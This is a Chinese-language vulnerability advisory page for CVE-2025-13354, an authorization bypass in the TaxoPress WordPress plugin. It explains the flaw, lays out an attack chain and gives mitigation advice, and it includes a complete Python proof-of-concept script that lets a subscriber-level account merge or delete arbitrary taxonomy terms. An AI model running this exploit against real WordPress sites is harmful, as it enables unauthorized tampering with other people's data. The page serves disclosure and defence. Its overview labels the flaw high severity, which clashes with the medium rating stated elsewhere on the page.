IPBUF安全漏洞报告
English
CVE-2025-13354 CVSS 4.3 中危

CVE-2025-13354 WordPress Taxonomy Manager权限绕过漏洞

披露日期: 2025-12-03

漏洞信息

漏洞编号
CVE-2025-13354
漏洞类型
权限绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tag, Category, and Taxonomy Manager – AI Autotagger with OpenAI plugin for WordPress

相关标签

CVE-2025-13354WordPress插件漏洞权限绕过TaxoPressAuthorization BypassWordPress安全

漏洞概述

CVE-2025-13354是WordPress插件Tag, Category, and Taxonomy Manager(也称为TaxoPress)中的一个高危权限绕过漏洞。该插件是一款广泛应用于WordPress网站的标签、分类和分类法管理工具,支持AI自动标记功能。漏洞存在于插件的taxopress_merge_terms_batch函数中,由于该函数未正确验证用户权限,导致任何已认证用户(包括最低权限的订阅者角色)都能执行合并或删除任意分类法术语的操作。攻击者利用此漏洞可以非法修改网站的分类体系,可能导致内容组织混乱、数据损坏或进一步的恶意操作。该漏洞影响插件3.40.1及以下所有版本,CVSS评分4.3,属于中等严重程度。

技术细节

该漏洞的根本原因在于TaxoPress插件的taxopress_merge_terms_batch函数缺少适当的权限检查。在WordPress的权限体系中,该函数应当验证当前用户是否具有管理分类法的权限,但实际实现中仅检查了用户是否已登录,而未验证其是否具备执行合并或删除术语操作的权限。这使得具有subscriber(订阅者)级别权限的用户也能访问本应需要admin或manage_categories权限的功能。攻击者可以通过构造特定的AJAX请求,指定要合并或删除的源术语和目标术语ID,绕过权限验证执行敏感操作。漏洞的利用条件极低,只需一个有效的WordPress账户即可,无需特殊权限或复杂的攻击准备。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress网站的合法用户账户(至少需要subscriber权限)
STEP 2
步骤2
攻击者构造针对admin-ajax.php的AJAX请求,指定action为taxopress_merge_terms_batch
STEP 3
步骤3
攻击者指定source_term_id和target_term_id参数,选择要合并或删除的任意分类术语
STEP 4
步骤4
由于taxopress_merge_terms_batch函数缺少权限验证,攻击请求被直接执行
STEP 5
步骤5
源术语被合并到目标术语或被删除,导致网站分类体系被非法篡改

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13354 PoC - Taxonomy Manager Authorization Bypass # Target: WordPress site with TaxoPress plugin <= 3.40.1 def exploit_taxonomy_merge(target_url, username, password, source_term_id, target_term_id): """ Exploit the authorization bypass in taxopress_merge_terms_batch function to merge arbitrary taxonomy terms. Args: target_url: WordPress site URL username: Valid WordPress username (subscriber level or higher) password: User password source_term_id: ID of the source term to merge from target_term_id: ID of the target term to merge into """ # Login to WordPress login_url = f"{target_url}/wp-login.php" session = requests.Session() login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful") # Exploit the authorization bypass ajax_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'taxopress_merge_terms_batch', 'source_term_id': source_term_id, 'target_term_id': target_term_id, 'taxonomy': 'post_tag' # Can be any registered taxonomy } response = session.post(ajax_url, data=exploit_data) if response.status_code == 200: print(f"[+] Exploit sent - Terms merged: {source_term_id} -> {target_term_id}") print(f"[+] Response: {response.text}") return True else: print(f"[-] Exploit failed with status code: {response.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 6: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <source_term_id> <target_term_id>") print(f"Example: python {sys.argv[0]} http://example.com admin password 5 10") sys.exit(1) target_url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] source_term_id = sys.argv[4] target_term_id = sys.argv[5] exploit_taxonomy_merge(target_url, username, password, source_term_id, target_term_id)

影响范围

TaxoPress (Tag, Category, and Taxonomy Manager) <= 3.40.1

防御指南

临时缓解措施
如果无法立即更新插件,可以考虑通过Web应用防火墙(WAF)规则阻止对taxopress_merge_terms_batch和taxopress_delete_terms_batch函数的访问,或者临时限制非管理员用户对这些功能的访问。同时应监控网站日志,关注异常的术语合并或删除行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表